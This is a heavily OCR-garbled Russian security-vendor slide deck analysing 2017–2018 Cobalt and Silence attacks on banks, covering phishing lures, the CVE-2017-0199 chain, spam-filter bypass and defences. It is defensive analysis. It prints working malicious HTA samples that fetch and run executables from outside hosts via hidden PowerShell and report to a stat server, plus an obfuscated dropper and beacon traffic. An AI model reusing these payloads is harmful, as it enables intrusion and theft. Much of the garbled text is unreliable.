Oexnunc KyBwnHoB, AnekcaHap NpuropsiH

CneuunanucTtbl Expert Security Center

UccneaoBaHue LeneHanpaBneHHbIX aTak
Ha (hbuHaHCOBbLIE OpraHn3auumu

ptsecurity.com
cOSITIVE TECHNOLOGIES




Conepxatie

O6LLI,aFI CTPYKTYpa ueneHaripaBiieHHbIX aTakK Ha CbI/IHaHCOBbIe opraHmn3auunu

AHanunsa ueneHanpasfieHHbIX atak 3a 2017 — Ha4vano 2018 rr. Ha npumepe rpynn Cobalt n Silence

AHarnuns TakTuk, MeToaoB MPOHUKHOBEHNA N NCIOJIb3yEMbIX UHCTPYMEHTOB

PekomeHaauum no npeaoTBpaLleHnIo Yrpo3 Ha KaXKaoM aTane aTaku




P()Lmuu{ds[]"d 3era

«BepomocTu»: XXepTBOU NepBoOU
Ny RGRU
KnbepaTakun Ha poccucKue 6aHKu Yepes
IpKKaT FIKOHOMUKA [ =]

SWIFT okasancsa noagKkoHTponbHbi BOby "
MMo65KeCBaHKs I_IB P(I) 3a¢>m<cnp013a11 11 ycmemiHbpIX aTak
« xakepoB u3 rpynnsl Cobalt Strike

XaxKepbl MOrU NOXUTUTb OKONO S1 MnH.

1) Mpucnats HosocTs
*/ +7914076 4777

28012017 18:43 » Poccuiickas Tazera
MOLLUEHHUKN CHANWU HECKONBLKO MUAMNOHOB DUGHEM
€O c4eToB DaHKa

! JKOHOMMWKA

XaKepm YKpaJu ¢ KapT POCCUUCKUX
0aHKOB MUJLTHApA pyosien B 2017 roxy




CTtaTucTuka ueneHanpaBeHHbIX aTak
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MoapobHee: ptsecurity.com/upload/corporate/ru-ru/analytics/Cybersecurity-threatscape-2017-rus.pdf



https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/Cybersecurity-threatscape-2017-rus.pdf

OOLLas CTpyKTypa LieneHanpaBneHHOW aTtaku

Peanunsauusa — BbiBog cpeacts —
aTaku

n

\T |

______________
I__|

KomnpomeTtaums cetu
N pasBuUTUE aTaku

— [logroTtoBKa Kk aTtake

MogpobHee: habrahabr.ru/company/pt/blog/335826/



https://habrahabr.ru/company/pt/blog/335826/

[loaroToBKa K aTake

Cbop nHdopmaumnm

Crypt4You - Crypt Service For You

Mpegnaraem ycnyrm KayecTBeHHOro KpunTa Bawwx *.exe dainoe.
KpunTyem noutk ece daino.

ECTb BOZMOMHOCTE CMEHBI MKOHKKM, MH(opMaumm o daine.
BOZMOMHOCTE CnewTs Baw ¢aiin C KapTUHKOA WK ApyTrod NporpamMMon.
KpunTop HanucaH Ha C#.

®aiinn c 2aeMcumocToie .Net Framework = 2.0 - HE KPUNTYEM.

Features:

Huzkme yersl
PaboTocnocobHocTe x86-x64
00x04 NPO3KTHBHEIX Z3UIHT
Boicokasn ckopocTh pabotel
Obtxoq UAC

Hobasnenne Anti's

HHxexkT B npoyecc

CMEeH3 MKOHKH

CMeHa HHopMaLMKn o paine
CxnenBaHme C APYyTrHMH (ainamm

Price:
1 File/Crypt = 10%
1 File/Unique Stub = 100%

OnnaTta NPOH3BOJWTCA Yepes:
QIWT

WebMoney

Bitcoin

MogpobHee: habrahabr.ru/com 1335826/

~POSITIVE TECHNOLOGIES

[MogroToska BI1O: [MogrotoBka KOHTPOSILHOMO cepBepa:
» Bbibop meToaa * Peructpauus
OOCTaBKU duLmHroBoro(-bIx)
[Mokynka «kpunTtay nomMmeHa(-oB)
[MpoBepka B [MonyyeHue IP-agpeca
NpUBaTHbIX 3anyck Heobxoanmoro
necoyHunuax codra

MNpeacraensaem BaweMy BHUMaHWIO CEPBMC aHOHWMMHOM aHTMBMPYCHOW npoBepkn daiinoe Avdetect.com.

BosmosxHocTI:

. bricTpaa npoeepka

. 36 aHTMBUpYCOB.

. BoamoxHOCTb NpoBepATh ¢halinbl B apxXyMBax zip W rar.

. BoamoxHocTe nposepaTe dain no URL.

B03MOXHOCTL NPOBEPATHL CBA3KU EKCNNOWTOB.

. ¥nobublid API.

. MlapaHTMpoBaHHaA AHOHMMHOCTb CKaHMpoBaHuA. Bce AB oTknUeHb! OT MHTEPHETA.

. YHuKanbHaa Bo3MOXHOCTL: MoucK curHaTyp B TekcroBbiX dainax (js, html, txt). (npepocTtaBnaeTca No oTASNbHOMY COrNAISHUI)
. BO3MOXHOCTL NPOBEPUTL AOMEH/ WM HAa AETEKT B PasnuuHbIX HNEKNUCTax aHTMBMPYCOB M CAWTOB KoTobipe BopATca ¢ Maneapbio
10. BO3MOXHOCTb NPOBEPKM MO KPOHY

LA W

LleHb:
Kaaaa npoeepka - 0.10%. (zip u rar apx1Bbl pACCMaTPUBAKOTCA KaK 0f]lHa NpOBEpKa)
be3aNMMUTHBIA MecadHblii aboHemeHT - 25%.



https://habrahabr.ru/company/pt/blog/335826/

I_Ipe,El,OTBpau_l,eHl/le aTaku POSITIVE TECHNOLOGIES

Cyber Threat Intelligence — npoakTuBHOE pearnpoBaHue Ha yrposbil.

AHann3 WHOIS pgaHHbIX

fincert <fincert@cbr.ru>

[ALERT] - BosmoxHan pacceinka Cobalt Strike
I Komy fincert

Konnerw, po6poii geHb!
3adMKcUpOoBaH $aKT PerucTpaLMm AoMeHa

billing-beeline.ru (146.185.133.125). Antono*****@ ma” ru

’ \ MpennonaraeTca, YTO C HEMO MOMET ObITh OCyLLecTENeHa pacceika Cobalt Strike. MpocbBa npeseHTHEHO
@ 3abnoknposatk y cebA noMydeHue NMcem c ykasaHHoro gomena | @billing-beeline.ru).
1 r Konnerw, oBpatute, nomanyiicra, BHUMaHWe, UTo aHHaA PaccLUIKa MAET No cTapeim (go
- aKTyanuzauuu) agpecam. Bo3moKHO, BaM NPUAETCA NEPecnaT NUCEMO NOAYUATENAM, HOTOPLIM OHO

b||||ng—megafon.ru

MOET NPeCTABNATL MHTEpPEC.
Domain Name Create Date Registrar
billi beeli LleHTp MOHUMTOPHHIa M pearMpoBaHMA Ha KOMMbLIOTEPHLIE aTakK
iing-Deeline.ru s kpeaurio-pumancosois cpepe ingbank-fr.com 2017-09-05 DANESCO TRADING LTD
Imaexoe ynpaenenue GezonacHocTv M 3alMTel HHdhopMaL i
T: +7 495 772-70-90 regdommain.com 2018-01-21 NameSilo, LLC
E: FINCERT@cbr.ru
@ searchtechnews.info 2017-11-20 DAMNESCO TRADING LTD
r SIr \ 0 baHk Poccum servicecentrum.info 2017-09-19 DANESCO TRADING LTD
L] L
? www.chr.ru updatemaster.info 2017-09-24 DANESCO TRADING LTD
updatesupermaster.info 2017-11-20 DANESCO TRADING LTD

billing-mts.ru

[TonCK NOXOoXXnx JOMEHOB




Peannsauns ataku

~POSITIVE TECHNOLOGIES

C2 connection

C2 connection

%

Spear phishing

<
<

Supply chain attack

R




Spear PhIShlng POSITIVE TECHNOLOGIES

4T 16.03.2017 T:42 BT 21.03.2017 17:45
KazakcraH ¥nT1Teik baHki <a kharlanov@nationalsbhanlk.kz > CneacteeHHbi Komutet PO <zapros@gsu-sledcom.ru>
3ANPOC
BT FvciayTap <o |
Kamy
Crannposanned023.zip % Bnoxenue 6es umenn 00102.0¢
87K8 1256
KBISMETKEPEPre HYCKaynapel.zip 5 ATTO0001 et .
84 KB 171B
B npouseoactee 3-ro otgena Masworo Cneacreenyoro Ynpasnenna CneacreenHoro komutera PO HaxoquTbCA B NpoM3BoACTee
aeno Ne72653
8030yXAEHHOTO NO NPUIHAKaM NPeCTyNNeHUs, NPeayCcMOTpeHHoro nn, <a>,<6> ¢1.172 YK PO. Ha ocuoeanuu u.4 c1.38 YIK PO
npowy
EE:I(BpTy! NpeaocTasnTh NepeyeHs QOXYMEHTOB NPUBEAEHHbLIX B 3anpoce He nosanee 23.03.201 7r

MNapone: sledcom
Xarepnep bizaiy enimizne bankTepre wabyein. wabyeingapae Gongeipmay ywiH bapnek KelaMeTkepnepi
Koca Bepinred Hyckaynapasl OpeIHAAHEIS.

kynuAces: bank

Cnepoearens Tpetwero oTaena
no paccneaosaHnio ocobo

BHumaHme! saxsbix aen CY CK PO
Xakepbl aTakyloT 6aHku B Hallen ctpaHe. CrnenynTte BCEM UHCTPYKLMAM, r cnepcr ynp CneacTeennoro komuTera
r.Mockea, ynuua 1-a Opynsesnckan, 4. 3 A
npegocTaBneHHbIM BallMM nNepcoHanom, 4tobel nsbexaTb aTak. 8 (499) 2453730
ttp-/iwww sledcom.ny/
I'IaDOJ'Ib 6aHK zapros{@gsu-sledcom.ru
Cp 22.11.2017 12:00
Cp 17.05.2017 2:29 Cards <support@cards-cbr.ru>

admin@fincert-cbr.ru TpeboBaHua no onepauvaM C KapTOUHbIMY NPOAYKTaMM

Kowmy
- | ~ L Mpukas N23120567.doc | ATT00002.6xt i

: ~
- ®Daiin .doc = ain txt
=] ONWCaHue NoNbITOK aTak ¢ NOAMEHOW AoMmeHa onpasuTens.doc | ATT00001.bxt

—
309KB =l 1736

ObazatensHo k cobniogenuio
TIpurats Mepsl! sctynaet 8 cuny ¢ 01.12.2017
https://www.cbr.ru/analytics/?Prtid=nko&ch=itm_31150#Checkeditem




Supply Chain Attack

‘ M.E.Doc (NotPetya)
‘ CCleaner

T @craiu

The malware injected into has
shared code with several tools used by one of
the APT groups from the APT
‘'umbrella’.

1:34 - 19 cent. 2017 1.

MoapobHee 06 atake: xakep.ru/2018/03/13/ccleaner-hack-details



https://xakep.ru/2018/03/13/ccleaner-hack-details

Supply chain attack. Cobalt POSITIVE TECHNOLOGIES

Cp-23-1._- 13:24

Cuet 3a obuNyKMBAHWE BalLMX BaHKOMATOB

Komy

9 Mel yaanuan 4oncaHUTENBHEIE pasphIBbl CTROK B COoBLLEHNN.

P

CranvposannellD11.zip
Daiin zip

JobBpbiit AeHb
Boicbinato Bam cueT 3a o0cay:KueaHne BaHKOMAaTOB NO COCTOAHMIO Ha dreBpant 2017 naponb Ha apxme: doc

CnacuBo 2a coTpYAHWUECTBO

vl 2017 11:33

N3meHeHwe Tapudoe Ha MHKacauuo B anpene 2017

Komy

= 2017april.doc
o -
251 KB

[o6pbiit AeHb, 03HAKOMTECH C HOBbIMM TpandamM Ha anpenb




Antispam bypass 1 nouToBble apTedaKkTbl

‘ cnonb3oBaHMe CBOEro NoYToBOro cepBepa received-spf: Pass ([ EEEEN: do-zin of ,
postmasterf@fincert-chr.ru designates 200.63.45.85 as permitted sender)

identity=helo; client-ip=200.63.45.85; receive_

envelope-from="www-datalfincert-chr.ru";
x-sender="postmaster@fincert-cbr.ru"; x-conformance=spf only;

‘ HacTponka nerntumHoro SPF x-record-type="v=spfl”

‘ HaCTpOMKa DKIM DEIM-Signature: w=1; a=rsa—-=ha256; g=dpn=/txt; c=relaxed/relaxed;
d=[COBALT DCMAIN]; s=dkim;

h=Date:Message—Id:Reply-To:Content-type:MIME-Version:From: Subject:To;

bh=YREznFEI1GpYl/L1VzMAk+DbtZhLWGFpEgz0RIs£IY0=;

b=oGbyod2/3fMncr X INWMSvauE S0 7EvdVQT+wBOT7 025 2+ MC VPGP THWHN 6 ISfEdvp e rNHdW4nruV/RVsIBS5nNha
UleofL9SVWuSDRDYVhQOHId/ w/ nXIkab/117VEQhLeBQrd2tQCcesQDt0IFg2 tEwboh] vE+J2U/ bRt YTHMO ] 1a=;

[MouToBbIE apTedrakThl rpynnbl Cobalt

A 4
|X—PHP—Originating—Script: O:alexusMailer v2.0.php |

v
X-PHP-Criginating—-Script: D:@Aﬁg.g@g|




npeﬂ,OTBpalJ_l,eHl/le KOMIpoMeTaunun cetu

CBoeBpeMEHHas yCTaHOBKa natyeu

[Moanucka Ha paccbiniky FinCert

[MOCTOSIHHBI MOHUTOPUHI CODbITUI B CETU O6Lasa ocBegOMIEHHOCTb NONb30BaTenen ceTu

icnonb3oBaHue nokanbHOM NecoYHULIbI

2017-10-13 08:58:07 0/59 2017-04-24 12:21:49 2I55 2017-09-20 09:35:57 1158 2017-11-21 13:27:59 1/59
2017-10-13 09:19:27 0/59 2017-04-24 12:36:42  2/54 2017-09-20 09:41:47 1/58 2017-11-21 13:47:35  1/59
2017-10-13 09:33:09 0/58 2017-04-24 12:54:15  2/55 2017-09-20 09:45:48 1/58 2017-11-21 13:47:52 1/59
2017-10-13 10:06:41  0/59 2017-04-24 12:54:44  2/55 2017-09-20 09:51:18  2/58 2017-11-21 14:00:05 1/59
2017-10-13 10:08:37  0/57 2017-04-24 13-:09:35 2/55 2017-09-20 09:55:18  2/58 2017-11-21 14:21:36 1/57
2017-10-13 10:11:51  0/59 2017-04-24 13-14:12  2/55 2017-09-20 09:59:54  2/58 2017-11-21 14:30:58 1/59
2017-10-13 10:21:34  0/58 2017-04-24 132834 2/54 2017-09-20 10:01:09  2/58 2017-11-21 14:39:03  1/59
20171013 11:37:27 1/59 I017-04-24 13-40°48  2/55 2017-09-20 10:05:29 2158 2017-11-21 15:14:58 2/59
2017-10-13 11:44:23  1/55 2017-04-24 13:4717 2/54 2017-09-20 10:06:53 2/58 2017-11-21 15:16:25  2/59
2017-10-13 13:01:08  1/59 2017-04-24 13:48:05 2/55 2017-09-20 10:08:01 2/58 2017-11-21 15:25:43  2/59

Silence malicious CHM-file Cobalt CVE-2017-0199 Cobalt CVE-2017-8759 Cobalt CVE-2017-11882



ATtaku 3a 2017 — Hayano 2018 rr.

ptsecurity.ru

~OSITIVE TECHNOLOGIES




Cobalt Silence

Cpe,u,a pacnpocTpaHeHus CDI/IHaHCOBbIe opraHusauun 1 ux noapsayunkm  bBaHku

[ OKyMeHTbI C aKkcniionTamm unm makpocamn,  [JOKYMeHTbl C SKCNronTamu,

Sl Al eTE i 3alumpoBaHHbIE apX1BbI apxusbl ¢ LNK-gpannamu, CHM-gannsl

[My6nnyHble 1 NpMBaTHbIE KOHCTPYKTOPbI
KOHCTpYKTOpPbI JOKYMEHTOB (MoanduumnpoBaHHbie),
Microsoft Word Intruder (MWI)

: Silence Trojan

Llens aTaku Kpaxka oeHexHbIX cCpeacTs

MpuBaTHbIE KOHCTPYKTOPbI



CtaTtucTtuka no atakam 3a 2017 — Hayano 2018 rr.

Cobalt Silence

KonnyectBo 06HapyKeHHbIX aTak

KonunyecTtBo 3aperncTpmpoBaHHbIX 4OMEHOB

CVE-2017-0199
Mcnonb3yemMble SKCMonThbl CVE-2017-8759
CVE-2017-11882

CVE-2017-0199
CVE-2017-0262

Spear Phishing Spear Phishing
MeTtoabl aTtaku Squiblydoo Squiblydoo
Living-Off-The-Land Multimodule malware



Cobalt timeline

~POSITIVE TECHNOLOGIES

CVE-2017-

First Cobalt MWI builder oot CVE-2017- First Cobalt CVE-2017- CVE2017 First Cobalt
0199 FinSpy First Builder attack CVE- with CVE- CVE.2017- 8759 FinSpy First Builder attack CVE- 11882 11882 POC attack CVE-
Zeroday 2017-0199 2017-0199 0199 Zeroday 2017-8759 discovered 2017-11882
8 anpens 24 anpens 17 wions 14 ceHTAOpPS 14 HoA6ps 29 Hos6ps
17 anpens 17 mas 12 ceHTAb6pSA

20 ceHTa6p4

29 HoAGPS




NHTepecHble pakTbl 0 Cobalt

~POSITIVE TECHNOLOGIES

CpeagHee BpeMsa Mexay perncrpaumen uwLMHroBoro AoMeHa 1 atakon — 2 HS

BpeMFl OT NMPOHUKHOBEHNA OO0 NONHOW KOMMpomeTaunnm cetn:. OT HECKOJIbKMX YaCoB A0 Hedenn

CpenHee Bpemsa 00 BblBoAa cpeacTts — 1 mecsy

He ntobaTt Jlabopartoputo Kacnepckoro

2816-89-"*T17:22:35.439088+86:80,Page Visited,WEBHIST,Firetox History, Rttp:/feem.
ammyy.com/AA_vi.exerem=huy¥4Bkasperskyc.com (AA_v3.exe) [count: 8] Host: wwi.ammyy.
com wisited from: http:/fwew.ammyy.comfru) (wes.ammyy.com) (URL not typed directly)
Transition: DOWNLDAD,sqlite/hrefox_history




Cobalt n Petya

~POSITIVE TECHNOLOGIES

Olexander Onopko <o.onopko@cyber-crime.com.ua>

Namarka no wHgopMauMoHHOA bezonacHoCcTH!

CyberCnme_29.06.0p . Bromenme Des wasenn 00740.64
28 KB 1256
HoGpsii 1eHE,

[Mpockba 03HAKOMHTCR © MAMATEOH 0 HHGOPMAIHOHHON DE30MACHOCTH B CERIH © ERICOKHM PACTIpOCTpaHeHHeM BHpyca Petya B Hamedt cTpase
Mapoms: eyber

Cogepacnios cTporo kondemumatsuo!

C# executable

Packoaunposanue powershell web-downloader u 3arpyska Cobalt-Strike dll-Beacon

P
<«




Cxema CVE-2017-0199

Cepsep -
3M0YMblLLINEHHUKA >KepTBa YaoaneHHbIn cepsep

[ "eHepauus .rtf gokymeHTa ]
[locTtaBka BpeaoHOCHOrO .rtf JokymeHTa
[ JKepTBa oTKpbIBAET ]
BPEAOHOCHbIN .rtf
GET-3anpoc Ha yaaneHHbin OLE-06bekT
HocTtaBka HTA-canna
[ Ysa3sumblii Word ncnonHsiet ]
poctaBneHHbin HTA-dann
[ HTA-dann, c nomowbio Powershell, 3arpyxaet u ]
ncnonHsaet Payload ¢ yaqaneHHoro cepsepa
GET-3anpoc gns 3arpysku Payload R
[ocTtaeka Payload Ha maluvHy XepTBbl
Cepeep XepTtBa Y
3MN0YMbILLNEHHUKa p YJJ,aJ'IeHHbII/I cepeep




I_lpl/IMep I'IpOCTOFO HTA-(*)aIZJ'Ia POSITIVE TECHNOLOGIES

<html>

<head>
—J<SCRIPT Language="VBScript">

Set ZZz = CreateCbject ("WScript.Shell")

ZZz.RBun "cmd /C CD %TemP% & @Gecho Sdown = New-Cbject System.Net.WebClient; $file = 'svchost.exe'; Surl =
"http://sa-turn.com.ua/1l1l.exe"'; Sdown.DownloadFile (Surl,5file); Sexec = New-Cbject —com shell.application;
Sexec.shellexecute ($file); »> service.psl & powershell.exe —-windowstyle hidden -executionpolicy bypass —file service.psl"
self.close
-</3CRIPT>
< /body>
~</html>




[pumep cnoxHoro HTA-gpanna (MWI) POSITIVE TECHNOLOGIES

title»</titles<script language="vkacript"> If conf exec Runfxe = 1 or conf exec RunExe = 2 Then
. ) strlink = conf_exedll url

On Error Resume Next

' download %conf exedll url% and execute as exe/dll Const LOCAL INETCACHE DATA = §H20
conf_exec_ BunExe =1 " 3et 1 for EEE or 2 for DLL Set obiShell = CreaseCbiect ("Shell.
E_an exer IntExt = 2 U 1 - 2 - IHIERH;,_L{":\RDPPER Set cbjFolder = cbjShell.Namespace (LOCAL INETCACHE DATR)
- - i : i Set objFolderItem = objFolder.Self
conf_exec_fname =" }.tmp” useFolder = "IE"
if objShell.FileExista{objFolderItem.Path & "\ Content
' download %3ct file url% and execute a3 scriptlet (javascript/vbscript) useFolder = "Content.Word”
_— - End If
' can be used for applocker bypaas
Gan_EKEC—_RlIﬂSGt =10 sFilePath = objFolderItem.Path & "\." & useFolder & "\." & conf_ exec_fname
' EXTERNAL/DOWNLORDER
. T S = d tri d - wershell if conf_exec IntExt = 1 Then
BXECULE ICONI_Cmdd STI$ Ccl O pPOWEL3ne Download strlink, sFilePath, 1
conf exec BunCMD =10 If filesys.FileExista(aFilePath)=0 Then
- - HITPDownload strLink, sFilePath
End If

' gend log/report to stat url %conf stat_url: End IZ

conf exec SendData = 1 " INTERNAL/DROEBER
- - if conf_exec_IntExt = 2 Then

' copy from Temp

' advanced UEL

sTempPath = filesys.GetSpecialFolder{2) & "\" & conf_exec fname
conf_stat_url = "http://5.45.686.1681/watat/" ' gtat_url (SendData) If filesys.FileExists(sTempPath) Then
- 1 - e . fil .C Fil T Path, sFilePath
conf exedll url = “http://localhost/watat/file.exe™ ' run_exe poToIe TR SrempRash, Shiieme
got_file url = "http://localhost/watat/file.sct™ ' exec RunS3ct End IZ
conf_cmd str = "calc.exe" If conf_exec RunEXE =

2 Then
rundll_str = "r 1132.exe " & sFilePath & " #1"
3FilePath = rundll_str

' choose log/report data End If

E-an_data_ﬂyﬂinfl:l - 1 ! SErStE]I'I_i:l:_C intReturn = CreateProcess(sFilePath)
conf data avinfo =1 ' av_info ..
—_ — — If intReturn <> -1 Then
conft dEltEl_p]‘:ElEliSt =1 ! proceas list sInfoReport = sInfoReport & "Ru " & intReturn & "; " & VbCRLE
- - Elze
zInfoReport = sInfoReport & "Eu D; " & intReturn & "; " & " " & intProcessID & "; " & VBCRLE
momae " End If

thread id =

End If




02/28 13:54:57 visit from: 192,168.37.130
Request: GET /EPdd/
beacon beacon stager x64
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)

GET /h9yBE HTTP/1.1

User-Agent: Mozilla/5.8 (compatible; MSIE 168.8; Windows NT 6.2; Winb4; x64; Trident/6.8; MDDCIS)
Host: 93.113.131.116:443

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 288 0K

Content-Type: application/octet-stream
Date: Thu, 21 Sep 2817 11:45:15 GMT
Content-Length: 196688

MZ..... [REU Rs...... Wh FoallocaMlocasFaccccoccoccasoocansoooszaac 1..L.!This program cannct be run in DOS mode.
T 88" . | YLC|YLC|¥LCh. .C[YLCh. .Cn¥LCh. .C.YLC[ . 7CsYLC | YMC.¥LCh. .C.¥YLCh. .C}YLCh. .CIYLCRACh | YLC . oo e e e eeaens PE..L
- 1 S TR o
floogooocooasoaooooooaonoaonaooac EESEs000000000000000000000000000300 rdata....... Yhocooon ococooacoooooanc g@..p.data... -.......




asosoumna npumeHeHusa aknnonta CVE-2017-0199

Obdyckauuns ckaumsaemoro HTA-ckpunTa
[TpmeHeHne AES-256 ona wndposaHus stage 2
icnonb3oBaHne metoda Living-off-the-land n Squiblydoo

3arpyska HoBoro JS-6akgopa




Ob6dycunpoBaHHbIn HTA-cKpunT POSITIVE TECHNOLOGIES

CB%'\wh _an<scriPt>function ceegri(ko, gh3XaMWik)[return ko.chardt{gh3XgMWdk); nction slkbn7t5 (xG3bDe) {var uiWck
103 -= 1) {uiWck += oeegrhk(xG5bDe, kVE1tC3);}return uiWck;}function p3xz29w0Zh(rJDilKB) {var kEqQE4UY = "r";var qdFvVd4wvgs ="C"; war g9nlqcQz = []; var qvddvJ o™ ;g9nlqeRz [0]

= qdFvddvags + "h";g9nlqcQz[2] = EKEQE4UY + gdFVd4wgs:gonlgeQz [3] = quddVT + "de ar uv = gonlqoRz [0] + ginlgeQz[1l] + "a” + g9nlgcQz([2] + g9nlqeQz[3]:var vWER = Stringrreturn vVXR[uv] (rJDilKB);
0;var b5g9 = O;while (wkHVKA4Ds < 99) {[wkHVEA4Ds++;b5q9 += WEHVXR4Ds;]lreturn "+" ==fgébVcw?(9902-9840) :"/"==[gébVcw? (-5291+5354) : kBXs3015nv.index! fgEbVow) ; }function nhhYA(pUNTE) [var nKDtKFjh;var hIS0it7dCe;var ww;var nsvVim;var

kFiv;var mhgyHYTzN = or (NEDtKFJh=0; nKDtKFjh<pUN7f. length-3; nKDtKFih 4+= 4) [hT50it7dCée fJcxR (oceegrh(pUNTL, nKDtKF]h+0));ww=alfJcxR (ceegrhA(pUNT7I, nEDtEFjh+l));nsVim=alhfJcxR (ceegri (pUN nEDtKFih+2) ) ;kFiv=alhiJcxR (ceegrhA(pUNTE,
MEDtEEiht+3) ) ;ohgyvEYyTzN += p3xz229w02h (hT501it7dCe<<2 [wws>>4) ;if (oceegri(pUNTL, nKDtEFih+2) !=gtuR0Llcn) {mhgvHyTIzN += p3xz29w02h (ww<<4s240|nsVims>>2&15) ;1if (oceegrA(pUNTL, nEDtEFih+3) !=gtuR0Llcn) {mhgvHyIzN +=

war kVL1tCs

or (kEVLltC3 = xGSbDe.length - 1;
+ kEgqE4UY + qvd4dVJ + "m";g9nlgeQz[1]
function aRfJcxR(fgébVew) [var wkHVER4Ds =

Ip3xz29w02h (nsVim<<6s192 | kFiv) ; } }return mhgyHyTzN:}function j5F9WcIKEw(JjTEQi, w05zERAnH) [var as9yeh = []; var xgpprmQ = "";var hN:;var £ZLF3;for (hN = 1; hN <= 255; hN += 1) {aefyeh[p3xz29w0Zh(hN)] = hN:;}hN = 0;£ZLF3 = 0;while (hN <
J7EQLi.length) {xqpprmd += p3xz29w02h(ae9yeh[jTEQi.substr(hN, 1)] ~ ae%yeh[vOSzEAnH.substr(fZLF3, 1)]);£ZLF3 = (fZLF3 < v05zEAnH.length) # fZLF3 + 1 : 0;hN += 1;}return xgeprmd;}function kxpO&kul (1gDK,udqH) {return

j5FOWCTKEwW (nhhYA {31kbn7t5 (1gDK) ) ,udqH) ; jvar ¥BXs0TSnv = "";var rrhlfv = (150995/2323);while [rrhl8v < (160433/1763)) {[kBXsOISnv += p3xz29w0Zh({rrhlfv);rrhl1fv += 1;}rrhlév = (-5217+5314);while (rrhlgv < (-1213+1336)) {kBXs0TSnv +=
P3xz29w02h (rrhI&v) ;rrhIév += 1;}rrhlév = (-8764+8812);while (rrhI&v < (4130-4072)) {kBXs0ISnv += p3xz29W0Zh(rrhlfv);rrhIfv += 1;}kBX30I5nv += p3xzi9w02h(43, 47);var gtuROLlcn = "=";var coRl = function(xC4iG) [var ccyR;try{ccyR = (new

Function (xC4iG) ) {ccyR) ;return ccyR;] catch({vSa) {[return false;}}:function yWgPaED9(nlHhW) [ return new ActiveXCbject (nlHhW):}try | yWgPaED9{"xni0Y9UhJx"):}catch{ay3FDgo) {var

gHcnpRGLUL="QDXRHUe5Ee 6dFbD5SnKnhIC2dxTGcHPa8hGAYTGEZSFIWDUEQKSAO Ibky [Tu0ZESShELL HeDeVVEANV2 JGX0h] SHVU ZyoBd L 1We PMDS rwk DCZme 5S4 1WnM] IcY¥ 1 UAAmOvOQCI ¥CL2EhDKEQI 5SS M7 FSKGUVUW I SEE 1 ARU4CSMSEMIc1NcdCL+wXPr9RAY1 TebdVIE 4 iUSEXEZ 2CB30BLy S kMAR ] dykRU ] XU
IWE2eGEBDEIhQxI jUAAGTkQzBUCWMCInO0cHIBF IWT4WHHXRQ 7 ciAvI 2RMeWQFpVEY 4hd Y 9GBF aghkx IMcNACPo OWcHxDvo 3Pc0zAHIEb 4 hw I kQBLygGRiYCOR1wG 25 2Ch 0T FRYQIRhn SPpCMx Y1 GEU § JvBSCSp1MdVy Pecd FRUJSKIF yCHMxWD SwRMENVa J1GZvBDWz0vMRxSc SEBEFSHWIcjURd2LPEFLcYAJCoQN,/ 9TL
[BpiCU4WHHXRQTciAvIWIMBz0e1QZ 08 gIFRRInZWRgAE V024 1GEEDG+UBAFEGSL10Z 6VEAAVENNFGSp4UJg5iEaRQEFFCHoBrMAENDh ¥gu 8CES 5 ZLBMx CCROEv 1 ACRBgMZ A LEcRIHQwOvMiCOWDAL Y i KCwwAnh yJ i SwNoViHmUAKFogQLAXWrkz2FNsCZ D4 yBPEYTa 9 zEGcg FVt BLF FACVAWFBESWIU kB UgG/ S QN1
SAIrpCNnZHPgBBLG4xF1pRNdhgGvkBAVWS B+wIATtAQDIRhVZxAGE SAPSYWETHOKSQx L8 Cowow g8 Ae PshLaBQMhugb+xBEWAAP1hhFd1 SEqQxADgTBEgBHEgR I JVwVgldgao S TLEAZKPgzGYECAPoSDZ 51 BE4Re s ¥wlwwlMOVi DglRQDSBECT zNgE8REx khI 5k P20z LGAgLVhzU0VCHa S AMa sDOWCBG] YREVACINSFBys
0P J2gK4 ShMENxbRBWwMhUBLOVHELY j 2qk] LZ0TE Lo CEMGMIVgHYRwHz 51 PMEhFEYR PEERCDggR T8 64 0Hd zMRERRTHWSXEgEBT 8 0xEdly TUAgEuwCAuZ CE SgTAuWR EDtx P 0MF FwBhox PXAWF kcQEQAwCgRyOwl Td1 0AAn ZgT1dhFQ9wuMhkx LoExMvoi PCOyBIs ] FygQRASEXOVhAASAaKcCLFFACIUT JaZyH s 2BMe 1
¥401PTewPra5NzohLl 1BMT4xE SwiMgQQMa Y xA2ECEXMy FEMNDE Zh+pgLCsDEgETCSAWHEIWWL ci J2Q5¥ 1 guGReQORAQMMIACT ZSAhQWEx tQFAUTHC0yB J2j FygQBAShENZN Fi5QaR1 DLFFACT 81 PApQi+g BL4hMk 0B FhwwOCEy T § FTPANCMCMh I Joz JrehDr IwCooDEX s 3hwMg DIRK PkdCakVEEyohKVoyR TewBywhC
781Zx0HAKYAEKRhKEAhKQN YKl Ahheci FWYTAqk] LDgz P2gxBg4XEFRELE1QaZ 1 xMDoxAIMR E+QhET 4 FDP0QO9whOU4QPRS TR SBANC PBTxOwr z PeRRY 2 0CHKQYRAY 1 BSon0U1 SCXAgCFRE PrMSLACAGOYAPTgRAD3E FE2 sEHNgwHwwW] I iNRIXZy T yURDCMQKR3gWow1 LAQDES 8BDDkDIk JoURNhMVZhNAAyCLoTQYMRKL
22898 yG+2g IwhwPrVzM3dRIWRDKA cQL3kyNrQhOpayFokzA2sDBBAGDQ1 TCAXhC] 1QNI QTOTcBGIYBINawIplwMAUhKp I x00UATyt AP 9XRAZANE rECPF 41X r4F DEWTBEXAHAOTVi QkID1 SY9dQAL 8HE] 8 RS 4 yGARg £2 5 FAYkXbrhHS sUER+R1EoJ] HeEWHDSmU9gCWF 2C PLEABEVX ek 0 yBxgCNnRHEYBN+ KTGPgRMUS
QI keCMIMgRskQCaowKEVCImSJKZ1CThUTORo 3RiwT I+ I1iETIgSMNY yGOMCU £ 5 vHa ZnEm9 0GxU2LOMS JeBX Ims j DIUQGEIQBo kg LIVYUSBAF PUVUWISES 1 AAT4CSMSEPg9Bd f1GZgp K FZD I FnbXBVWYB3Ka YEFme SIWBy Fpd yNT 0 DGSMSMukwCe 9BHIdEOyc2081wMcR 0183 ITYiECcANSUrMS 9x VWS SPrVyKla jNto]
